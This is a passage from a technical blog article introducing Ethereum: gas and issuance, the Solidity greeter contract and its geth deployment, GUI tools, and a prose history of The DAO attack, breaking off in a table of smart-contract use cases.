Currently the maximum block size in Ethereum is around 1,500,000 Gas. Basic transactions or payments of ETH from one account to another (ie not a smart contract) have a complexity of 21,000 Gas so one can fit around 70 transactions into a block (1,500,000 / 21,000). In Bitcoin one currently gets around 1,500-2,000 transactions in a block.
&lt;br&gt;
Data-wise currently most Ethereum blocks are under 2 KB in size.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;ETH (Ether) issuance&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Bitcoin is a cryptocurrency and payments network. Bitcoins are designed to be in finite supply and deflationary. 21 million bitcoins will be generated through a halving mining block reward. As on April 2016,  15.3 million bitcoins have been mined and the block reward is 25 bitcoins. All bitcoins have been generated through mining.
&lt;/p&gt;
&lt;p&gt;
Ether is the digital token used in Ethereum. Around 72 million ether were pre-mined and distributed through a crowdfunding sale in exchange for bitcoins to launch Ethereum platform development in 2014.  After the Frontier platform went live, Ether are generated as mining block rewards. As on April 2016, there are 78.7 million ether in supply.
&lt;/p&gt;
&lt;p&gt;
Five ether are generated in the form mining reward for new blocks, with five ether per block and uncle blocks are compensated at 7/8th of the block reward or 4.375 ether with a maximum 2 uncles per block which implies a new block confirmation can produce a maximum of 13.75 ether.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/51e4bc59-559e-42f8-a44b-bbf493f73431&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 600px;&quot; alt=&quot;ETH vs BTSC issuance&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/51e4bc59-559e-42f8-a44b-bbf493f73431&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
Let&apos;s just say that this is a lot more complicated than Bitcoin.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Block reward&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Currently each block mined creates 5 fresh ETH. Doing the maths, if a block is mined every 14 seconds, and there are 31.5m seconds in a year (365x24x60x60), this means 2.25m blocks are mined per year. 
&lt;br&gt;
2.25m blocks at 5 ETH per block = 11.3m ETH generated per year. This meets the commitment of less than 18m ETH generated per year.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Uncle reward&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Some blocks are mined a little late and don&apos;t form part of the main blockchain. In Bitcoin these are called &apos;orphans&apos; and are entirely discarded, but in Ethereum they are called &apos;uncles&apos; and can be referenced by later blocks. If uncles are referenced as uncles by a later block, they create about 4.375 ETH for the miner of the uncle (7/8th of the full 5 ETH reward). This is called the uncle reward. Currently around 500 uncles are created per day, adding an additional 2,000 ETH into circulation per day (~0.7m ETH per year at this rate).
&lt;/p&gt;
&lt;p&gt;
This achieves two important things:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;It incentivises miners to mine even though there is a high chance of creating a non-mainchain block (the high speed of block creation results in more orphans or uncles. Ethereum&apos;s 12 second block rate significantly increases the rate of orphan blocks and forks )&lt;/li&gt;
&lt;li&gt;It increases the security of the blockchain by acknowledging the energy spent creating the uncle blocks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;b&gt;Uncle referencing reward&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
And there&apos;s a bit more too: A miner who references an uncle also gets about 0.15 ETH per uncle (maximum 2 uncles).
&lt;br&gt;
This is called the &lt;i&gt;GHOST&lt;/i&gt; protocol (Greedy Heaviest-Observed Sub-Tree).
&lt;/p&gt;


&lt;a name=&quot;sec43&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.3 Etherscript&lt;/h3&gt;

&lt;p&gt;
Ethereum&apos;s main difference is a turing-complete programming language, sometimes called &lt;b&gt;EtherScript&lt;/b&gt;. Contracts live on the blockchain in an Ethereum-specific binary format (Ethereum Virtual Machine [=EVM] bytecode). However, contracts are typically written in some high level language such as solidity and then compiled into byte code to be uploaded on the blockchain.
&lt;/p&gt;
&lt;p&gt;
We will later see the example of a SmartContract written in &lt;code&gt;Solidity&lt;/code&gt; but before I would like to introduce &lt;b&gt;Etherscripter&lt;/b&gt; available at &lt;a href=&quot;http://etherscripter.com/&quot;&gt;http://etherscripter.com/&lt;/a&gt;. Etherscripter is a &lt;b&gt;Visual Smart Contrat Builder for Ethereum&lt;/b&gt;.
&lt;br&gt;
It works by providing the user with a Graphical User Interface (GUI) enabling him to drag-and-drop logic elements on a board representing the Smart Contract Code
&lt;/p&gt;
&lt;p&gt;
Let&apos;s look at an example. Imagine the following scenario :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One has built a website and someone wants to buy it for $5000 but they can only pay in March.&lt;/li&gt;
&lt;li&gt;In the traditional approach, one transfers control of the website and write down what&apos;s been agreed on a piece of paper. &lt;/li&gt;
&lt;li&gt;March arrives and it seems there has been some confusion. &lt;/li&gt;
&lt;li&gt;You assumed the contract meant this March but they insist they meant next March. &lt;/li&gt;
&lt;li&gt;Get ready to argue in court about the meaning of &quot;March&quot;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
Using Ethereum, you might define the agreement in a form of EtherScript that&apos;s readable to both humans and the computer network. 
&lt;br&gt;
Using Etherscripter, the resulting script would look as follows:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/55de4e33-20e3-4a61-baeb-125a5ed08047&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 900px;&quot; alt=&quot;Etherscripter&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/55de4e33-20e3-4a61-baeb-125a5ed08047&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
Reading agreements in this form could take some getting used to, but no more than the legalese produced by today&apos;s contract lawyers. Fill-in-the-blank scripts would likely become available for common uses. Specialists could craft very custom agreements, as done by lawyers today. 
&lt;br&gt;
The big advantage here again is that Smart Contract eliminate confusion and remove all uncertainty over whether the other person will follow through. The script both defines and enforces the agreement.
&lt;/p&gt;

&lt;a name=&quot;sec44&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.4 Hello World in Ethereum&lt;/h3&gt;

&lt;p&gt;
We have seen above a first example of a Smart Contract implemented using Etherscripter. This is interesting for the sake of introducing Smart Contract programming logic. In real life Smart Contract are rather written in one of the Ethereum scripting language, such as &lt;code&gt;Solidity&lt;/code&gt;, &lt;code&gt;Serpent&lt;/code&gt; or &lt;code&gt;LLL&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;
We will see here a &lt;i&gt;Hello World&lt;/i&gt; program developed using &lt;code&gt;Solidity&lt;/code&gt;. &lt;code&gt;Solidity&lt;/code&gt; is the prefered language by many Smart Contract developers and IMHO a &lt;i&gt;de-facto&lt;/i&gt; standard.
&lt;br&gt;
I will present here the greeter program as presented in &lt;a href=&quot;https://www.ethereum.org/greeter&quot;&gt;Ethereum Greeter&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
The Greeter is an intelligent digital entity that lives on the blockchain and is able to have conversations with anyone who interacts with it, based on its input.
&lt;/p&gt;
&lt;p&gt;
Here is its code:
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;The greeter Smart Contract&lt;/b&gt;
&lt;/p&gt;

&lt;pre&gt;
&lt;span style=&quot;color: green;&quot;&gt;/* A first abstraction representing a &quot;mortal&quot; entity */&lt;/span&gt;
&lt;b&gt;contract&lt;/b&gt; mortal {

    &lt;span style=&quot;color: green;&quot;&gt;/* Define variable owner of the type address*/&lt;/span&gt;
    address owner;

    &lt;span style=&quot;color: green;&quot;&gt;/* this constructor is executed at initialization and sets the owner of the contract&lt;/span&gt;
    &lt;span style=&quot;color: green;&quot;&gt;   It is run only when the contract is created. */&lt;/span&gt;
    &lt;b&gt;function&lt;/b&gt; mortal() { 
        owner = msg.sender; &lt;span style=&quot;color: green;&quot;&gt;/* msg is an implicit parameter */&lt;/span&gt;
    }

    &lt;span style=&quot;color: green;&quot;&gt;/* Function to recover the funds on the contract */&lt;/span&gt;
    &lt;b&gt;function&lt;/b&gt; kill() { 

        &lt;span style=&quot;color: green;&quot;&gt;/* Any &quot;mortal&quot; can be destroyed only by its owner */&lt;/span&gt;
        &lt;b&gt;if&lt;/b&gt; (msg.sender == owner) {
            selfdestruct(owner); 
        }
    }
}

&lt;span style=&quot;color: green;&quot;&gt;/* Our greeter &quot;Smart Contract&quot; */&lt;/span&gt;
&lt;b&gt;contract&lt;/b&gt; greeter &lt;b&gt;is&lt;/b&gt; mortal {

    &lt;span style=&quot;color: green;&quot;&gt;/* define variable greeting of the type string */&lt;/span&gt;
    string greeting;

    &lt;span style=&quot;color: green;&quot;&gt;/* this runs when the contract is executed */&lt;/span&gt;
    &lt;b&gt;function&lt;/b&gt; greeter(string _greeting) &lt;b&gt;public&lt;/b&gt; {
        greeting = _greeting;
    }

    &lt;span style=&quot;color: green;&quot;&gt;/* main function */&lt;/span&gt;
    &lt;b&gt;function&lt;/b&gt; greet() &lt;b&gt;constant returns&lt;/b&gt; (string) {
        &lt;b&gt;return&lt;/b&gt; greeting;
    }
}
&lt;/pre&gt;

&lt;p&gt;
One should notice that there are two different contracts in this code: &quot;mortal&quot; and &quot;greeter&quot;. 
&lt;br&gt; This is because Solidity has &lt;a href=&quot;https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)&quot;&gt;inheritance&lt;/a&gt;, meaning that one contract can inherit characteristics of another. 
&lt;/p&gt;
&lt;p&gt;
The inherited characteristic &quot;mortal&quot; simply means that the greeter contract can be killed by its owner, to clean up the blockchain and recover funds locked into it when the contract is no longer needed. Contracts in ethereum are, by default, immortal and have no owner, meaning that once deployed the author has no special privileges anymore. One should consider this carefully when deploying SmartContracts on the blockchain.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;The reader might want to consult the &lt;a href=&quot;https://www.ethereum.org/greeter&quot;&gt;Ethereum Greeter&lt;/a&gt;&lt;/b&gt; page to discover about how to compile the greeter program using the &lt;b&gt;SolC&lt;/b&gt; compiler.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Deploying on the Ethereum blockchain&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The deployment and the initialization of a greeter Smart Contract (instance) is performed using the following commands in the &lt;code&gt;geth&lt;/code&gt; console:
&lt;/p&gt;

&lt;pre&gt;
&lt;span style=&quot;color: green;&quot;&gt;/* compile greeter source */&lt;/span&gt;
&lt;b&gt;var&lt;/b&gt; greeterCompiled = web3.eth.compile.solidity(...) 

&lt;span style=&quot;color: green;&quot;&gt;/* The greeting we will use in our greeter &quot;instance&quot; */&lt;/span&gt;
&lt;b&gt;var&lt;/b&gt; _greeting = &quot;&lt;span style=&quot;color: blue;&quot;&gt;Hello World!&lt;/span&gt;&quot;

&lt;span style=&quot;color: green;&quot;&gt;/* Define greeter Smart Contract (no instance, just definition) */&lt;/span&gt;
&lt;b&gt;var&lt;/b&gt; greeterContract = web3.eth.contract (greeterCompiled.greeter.info.abiDefinition);

&lt;span style=&quot;color: green;&quot;&gt;/* Deploy and instantiate greeter smart contract */&lt;/span&gt;
&lt;b&gt;var&lt;/b&gt; greeter = greeterContract.new (_greeting, 
        {from : web3.eth.accounts[&lt;span style=&quot;color: red;&quot;&gt;0&lt;/span&gt;], 
         data : greeterCompiled.greeter.code, 
         gas  : &lt;span style=&quot;color: red;&quot;&gt;300000&lt;/span&gt;
        }, 
        &lt;b&gt;function&lt;/b&gt;(e, contract){  /* event listener callback */

    &lt;span style=&quot;color: green;&quot;&gt;/* If no error occured ... */&lt;/span&gt;
    &lt;b&gt;if&lt;/b&gt; (!e) {

      &lt;b&gt;if&lt;/b&gt; (!contract.address) {
        console.log(&quot;&lt;span style=&quot;color: blue;&quot;&gt;Contract transaction send: TransactionHash: &lt;/span&gt;&quot; + contract.transactionHash + &quot;&lt;span style=&quot;color: blue;&quot;&gt; waiting to be mined...&lt;/span&gt;&quot;);

      } &lt;b&gt;else&lt;/b&gt; {
        console.log(&quot;&lt;span style=&quot;color: blue;&quot;&gt;Contract mined! Address: &lt;/span&gt;&quot; + contract.address);
        console.log(contract);
      }

    } else {

        &lt;span style=&quot;color: green;&quot;&gt;/* If an error occured, log the error */&lt;/span&gt;
        console.log(contract);
    }
});
&lt;/pre&gt;

&lt;p&gt;
After typing these commands on the &lt;code&gt;geth&lt;/code&gt; console, one should wait up to thirty seconds before seeing a message like this:
&lt;/p&gt;

&lt;pre&gt;
Contract mined! address: &lt;span style=&quot;color: red;&quot;&gt;0xdaa24d02bad7e9d6a80106db164bad9399a0423e &lt;/span&gt;
&lt;/pre&gt;

&lt;p&gt;
This contract is estimated to need ~180 thousand gas to deploy, at the time of writing, gas on the test net is priced at 20 gwei (equal to 0.00000002 ether) per unit of gas.
&lt;br&gt;
Notice that the cost is not paid to the ethereum developers, instead it goes to the Miners, those peers whose computers are working to find new blocks and keep the network secure. Gas price is set by the market of the current supply and demand of computation. If the gas prices are too high, you can become a miner and lower your asking price.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Interacting with the greeter&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In order to call the greeter bot, just type the following command in your terminal:
&lt;/p&gt;

&lt;pre&gt;
greeter.greet();
&lt;/pre&gt;

&lt;p&gt;
Since this call changes nothing on the blockchain, it returns instantly and without any gas cost. You should see it return your greeting:
&lt;/p&gt;

&lt;pre&gt;
&apos;Hello World!&apos;
&lt;/pre&gt;

&lt;p&gt;
In order for other people to interact with this greeter contract they need two things: 
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the address where the contract is located and &lt;/li&gt;
&lt;li&gt;the ABI (Application Binary Interface) which is a sort of user manual, describing the name of its functions and how to call them to your JavaScript console.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
In order to get each of them run these commands:
&lt;/p&gt;

&lt;pre&gt;
var ABI = greeterCompiled.greeter.info.abiDefinition;
var Address = greeter.address;
&lt;/pre&gt;

&lt;p&gt;
Recover these two variables &lt;code&gt;ABI&lt;/code&gt; and &lt;code&gt;Address&lt;/code&gt; and send them to whoever wants to interact with the greeter Smart Contract.
&lt;br&gt;
Then, on his remote computer, the other user can get access to the greeter using the following commands:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;var&lt;/b&gt; greeter = eth.contract(ABI).at(Address);
&lt;/pre&gt;

&lt;p&gt;
That&apos;s it !
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Clean-up&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Whenever one has fun enough playing with the greeter, one should get rid of it by making it unusable and thus cleaning the blockchain from abandoned live contracts
&lt;/p&gt;
&lt;p&gt;
A transaction will need to be sent to the network and a fee to be paid for the changes made to the blockchain after the code below is run. The self-destruct is subsidized by the network so it will cost much less than a usual transaction.
&lt;/p&gt;

&lt;pre&gt;
greeter.kill.sendTransaction({from:eth.accounts[0]})
&lt;/pre&gt;

&lt;p&gt;
This can only be triggered by a transaction sent from the contracts owner. You can verify that the deed is done simply seeing if this returns 0:
&lt;/p&gt;

&lt;pre&gt;
eth.getCode(greeter.address)
&lt;/pre&gt;


&lt;a name=&quot;sec45&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.5 Further Ethereum Examples&lt;/h3&gt;

&lt;p&gt;
The example above is actually not very relevant since it doesn&apos;t make any usage of what Ethereum is finally much more about : exchanging goods and money.
&lt;br&gt;
Describing more advanced example exceeds the scope of this article and I will write another article when I come up myself with something relevant in the coming weeks. In the meantime hereunder are 2 examples I think are worth looking at and that make a great job in describing what Ethereum is able to do
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Sub-currency example&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The following contract will implement the simplest form of a cryptocurrency. It is possible to generate coins out of thin air, but only the person that created the contract will be able to do that (it is trivial to implement a different issuance scheme). Furthermore, anyone can send coins to each other without any need for registering with username and password - all you need is an Ethereum keypair.
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;http://solidity.readthedocs.io/en/develop/introduction-to-smart-contracts.html#subcurrency-example&quot;&gt;See Sub-currency example on solidity&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Democracy DAO&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The example below creates a first decentralized autonomous organization, or DAO.
&lt;/p&gt;
&lt;p&gt;
Think of the DAO as the constitution of a country, the executive branch of a government or maybe like a robotic manager for an organization. The DAO receives the money that your organization raises, keeps it safe and uses it to fund whatever its members want by voting about it. The robot is incorruptible, will never defraud the bank, never create secret plans, never use the money for anything other than what its constituents voted on. The DAO will never disappear, never run away and cannot be controlled by anyone other than its own citizens.
&lt;/p&gt;
&lt;p&gt;
The token we distributed using the crowdsale is the only citizen document needed. Anyone who holds any token is able to create and vote on proposals. Similar to being a shareholder in a company, the token can be traded on the open market and the vote is proportional to amounts of tokens the voter holds.
&lt;/p&gt;
&lt;p&gt;
&lt;a href=&quot;https://github.com/ethereum/go-ethereum/wiki/Contract-Tutorial#democracy-dao&quot;&gt;See The democracy DAO example&lt;/a&gt;
&lt;/p&gt;

&lt;a name=&quot;sec46&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.6 Private chains in Ethereum&lt;/h3&gt;

&lt;p&gt;
Ethereum software enables a user to set up a &quot;private&quot; or &quot;testnet&quot; Ethereum chain that is separate from the main Ethereum chain. This is useful for testing distributed apps built on Ethereum without having to expose your apps or trials to the real Ethereum network using real Ether. You either pre-generate or mine your own Ether on your private Ethereum chain, so it is a much more cost effective way of trying out Ethereum. 
&lt;/p&gt;
&lt;p&gt;
What are the components that tell &lt;code&gt;geth&lt;/code&gt; that we want to use/create a private Ethereum chain? The things that dictate a private Ethereum chain are:
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Custom Genesis File&lt;/li&gt;
&lt;li&gt;Custom Data Directory&lt;/li&gt;
&lt;li&gt;Custom NetworkID&lt;/li&gt;
&lt;li&gt;(Recommended) Disable Node Discovery&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
This is actually pretty straightforward and one should simply follow &lt;a href=&quot;https://souptacular.gitbooks.io/ethereum-tutorials-and-tips-by-hudson/content/private-chain.html&quot;&gt;this tutorial&lt;/a&gt;
&lt;/p&gt;


&lt;a name=&quot;sec47&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.7 Ethereum GUI - Graphical User Interface applications&lt;/h3&gt;

&lt;p&gt;
&lt;b&gt;Mist&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Mist is the browser for decentralized apps. What Mozilla Firefox or Google Chrome are for the Web 2.0, the Mist Browser will be for the Web 3.0 (which will be decentralized).
&lt;br&gt;
Mist is more of a platform running Dapps - for Distributed Applications - where the default applications are the Smart Contracts catalog, the wallet app, etc.
&lt;/p&gt;
&lt;p&gt;
Mist intents to provide the user with an &lt;i&gt;App Store-like&lt;/i&gt; User Interface to Smart Contracts:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/2df899d5-dc7d-478a-96d0-aafdd8f0dec5&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 600px;&quot; alt=&quot;Mist GUI&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/2df899d5-dc7d-478a-96d0-aafdd8f0dec5&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
Mist is available here : &lt;a href=&quot;https://github.com/ethereum/mist&quot;&gt;https://github.com/ethereum/mist&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;meteor-dapp-wallet&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The &lt;i&gt;meteor-dapp-wallet&lt;/i&gt; GUI is more oriented (for now) towards developers. It provides Ethereum users with a graphical way to deploy Smart Contracts and interact with Smart Contracts or provide all the possible ways to interact with deployed Smart Contracts.
&lt;br&gt;
In comparison with Mist above, &lt;i&gt;meteor-dapp-wallet&lt;/i&gt; contains kind of like one single dapp which is the wallet application. It is not intended to be a more general use platform such as Mist.
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/07cf11e3-cee6-40cd-9d3f-73d1b68f90c9&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 600px;&quot; alt=&quot;meteor-dapp-wallet GUI&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/07cf11e3-cee6-40cd-9d3f-73d1b68f90c9&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
meteor-dapp-wallet is available here : &lt;a href=&quot;https://github.com/ethereum/meteor-dapp-wallet&quot;&gt;https://github.com/ethereum/meteor-dapp-wallet&lt;/a&gt;.
&lt;/p&gt;

&lt;a name=&quot;sec48&quot;&gt;&lt;/a&gt;
&lt;h3&gt;4.8 &lt;i&gt;The DAO&lt;/i&gt; and &lt;i&gt;The DAO Attack&lt;/i&gt;&lt;/h3&gt;

&lt;p&gt;
&lt;b&gt;The DAO is Code&lt;/b&gt;
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/210172c1-d8f8-4dff-b46e-7991880be12a&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 300px;&quot; alt=&quot;The DAO is code&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/210172c1-d8f8-4dff-b46e-7991880be12a&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
The DAO was a digital decentralized autonomous organization and a form of something in between an &lt;i&gt;investor-directed venture capital fund&lt;/i&gt; and a &lt;i&gt;crowfounding platform&lt;/i&gt;. 
&lt;br&gt;
The DAO had an objective to provide a new decentralized business model for organizing both commercial and non-profit enterprises. It had no conventional management structure or board of directors. The code of the DAO is open-source.
&lt;/p&gt;
&lt;p&gt;
The DAO was stateless, and not tied to any particular nation state. As a result, many questions of how government regulators would deal with a stateless fund were yet to be dealt with.
&lt;br&gt;
The DAO itself was crowdfunded via a token sale in May 2016. It set the record for the largest crowdfunding campaign in history.
&lt;/p&gt;
&lt;p&gt;
The DAO was intended to operate as &quot;&lt;i&gt;a hub that disperses funds (currently in Ether, the Ethereum value token) to projects.&lt;/i&gt;&quot; Investors received voting rights by means of a digital share token; they voted on proposals that are submitted by &quot;contractors&quot; and a group of volunteers called &quot;curators&quot; checked the identity of people submitting proposals and made sure the projects were legal before &quot;whitelisting&quot; them. The profits from the investments will then flow back to its stakeholders.
&lt;br&gt;
The DAO did not hold the money of investors; instead, the investors owned DAO tokens that give them rights to vote on potential projects. Anyone could pull out their funds until the time they first vote.
&lt;br&gt;
Its reliance on Ether has allowed people to send their money to it from anywhere in the world without providing any identifying information
&lt;/p&gt;
&lt;p&gt;
Since 28 May 2016 the DAO tokens were tradable on various cryptocurrency exchanges.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;The DAO Attack&lt;/b&gt;
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;a href=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/3329934a-dabd-4575-a306-f1dc8d8429c4&quot;&gt;
&lt;img class=&quot;centered&quot; style=&quot;width: 300px;&quot; alt=&quot;The DAO is code&quot; src=&quot;https://www.niceideas.ch/roller2/badtrash/mediaresource/3329934a-dabd-4575-a306-f1dc8d8429c4&quot; /&gt;
&lt;/a&gt;
&lt;/div&gt;
&lt;br&gt;

&lt;p&gt;
A paper published in May 2016 noted a number of security vulnerabilities associated with The DAO, and recommended that investors in The DAO hold off from directing The DAO to invest in projects until the problems had been resolved.
&lt;br&gt;
An Ethereum developer on Github pointed out a flaw relating to &quot;recursive calls&quot; in early June that was picked up and blogged by Peter Vessenes, founder of the Blockchain Foundation on June 9.
&lt;br&gt;
By June 14, fixes had been proposed and were awaiting approval by members of The DAO.
&lt;br&gt;
On June 16 further attention was called to recursive call vulnerabilities by bloggers affiliated with the IC3.
&lt;br&gt;
It&apos;s important to note that &lt;b&gt;the vulnerabilities&lt;/b&gt; discussed here &lt;b&gt;were not related to the blochchain technology itself&lt;/b&gt;, but rather to the specific implementation of The DAO Smart Contract.
&lt;/p&gt;
&lt;p&gt;
On June 17, 2016, The DAO was subjected to a hack that deployed a combination of vulnerabilities, including the one concerning recursive calls, and the hacker gained control of 3.6 million Ether, around a third of the 11.5 million Ether that had been committed to The DAO; the stolen Ether had a value of about $50M at the time of the hack.
&lt;/p&gt;
&lt;p&gt;
The hacked funds were put into an account likely subject to a 28 day holding period under the terms of the Ethereum contract so were probably not actually gone; members of The DAO and the Ethereum community debated what to do next, with some calling the hack a valid but unethical maneuver and others calling for the Ether to be re-appropriated and some calling for The DAO to be shut down
&lt;/p&gt;
&lt;p&gt;
On the 20th July 2016, the Ethereum community decided to hard-fork the Ethereum blockchain to restore virtually all funds to the original contract. This was controversial, and led to a fork in Ethereum, where the original unforked blockchain was maintained as Ethereum Classic, thus breaking Ethereum into two separate active cryptocurrencies.
&lt;/p&gt;
&lt;p&gt;
This fork of the blockchain is a tsunami. It really consisted in &quot;rewriting history&quot; which is &lt;b&gt;precisely what the blockchain should prevent and protect its users from&lt;/b&gt;. This causes a lot of interesting questions :
&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What is better ? A really unbreakable blockchain, making the above fork really impossible but making it also impossible to recover from thief or badly intentioned people exploiting  vulnerabilities in a Smart Contract ?&lt;/li&gt;
&lt;li&gt;It raises the fact that one of the big challenges of the blockchain technology is &lt;b&gt;governance&lt;/b&gt;. I&apos;ll get back to this in a next article on this topic&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
In the fallout of the incident, much was made about how The DAO was &quot;hacked&quot;. Upon closer examination though, The DAO was not hacked at all. The attacker(s) used two features of The DAO&apos;s specialised code to siphon out ether in amounts small enough to not result in the destruction of their DAO tokens.
&lt;/p&gt;
&lt;p&gt;
Moreover, it is perfectly legitimate to do whatever a smart contract&apos;s code permits, even if this is beyond the original intention of those who wrote the code. Like all technologies, &quot;smart contracts&quot; are dual use and might be used in ways that their creators did not intend. The complexity of the technology only compounds this issue.
&lt;/p&gt;


&lt;a name=&quot;sec5&quot;&gt;&lt;/a&gt;
&lt;h2&gt;5. Smart Contracts use cases&lt;/h2&gt;

&lt;p&gt;
I have identified a wide range of applications - ranging from smart health records to pay-as-you-go insurance - that companies are either piloting right now or that are being considered by discussions around the blockchain:
&lt;/p&gt;

&lt;div class=&quot;centering&quot;&gt;
&lt;table class=&quot;centered&quot; style=&quot;width: 750px; border-collapse: collapse; border: 0px none;&quot;&gt;
&lt;tr style=&quot;background-color: #999999; font-weight: bold; color: white; &quot;&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Industry&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Use Case&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;What Smart Contracts can do&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td colspan=&quot;3&quot; style=&quot;height: 15px; background-color: transparent; border: 0px none; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td rowspan=&quot;7&quot; style=&quot;background-color: #999999; border: #333333 1px solid; border-collapse: collapse; font-weight: bold; color: white;&quot;&gt;Financial Services&lt;/td&gt;

&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Trade Clearing and Settlement&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Manage Approval workflows between counterparties, calculate trade settlement amounts, and transfer funds automatically.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Coupon Payments&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Automatically calculate and pay periodic coupon payments and returns principal upon bond expiration.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Commercial and Retail banking&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;support mortgage lending, loans and crowdfunding, etc.&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Insurance Claim Processing&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Perform error checking, routing, and approval workflows, and calculate payout based on the type of claim and underlying policy&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td style=&quot;font-weight: bold; background-color: #CCCCCC; border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Micro-insurance&lt;/td&gt;
&lt;td style=&quot;border: #333333 1px solid; border-collapse: collapse;&quot;&gt;Calculate and transfer micropayments based on usage data from an Internet-of-Things enabled device (example : pay-as-you-go automotive insurance)&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
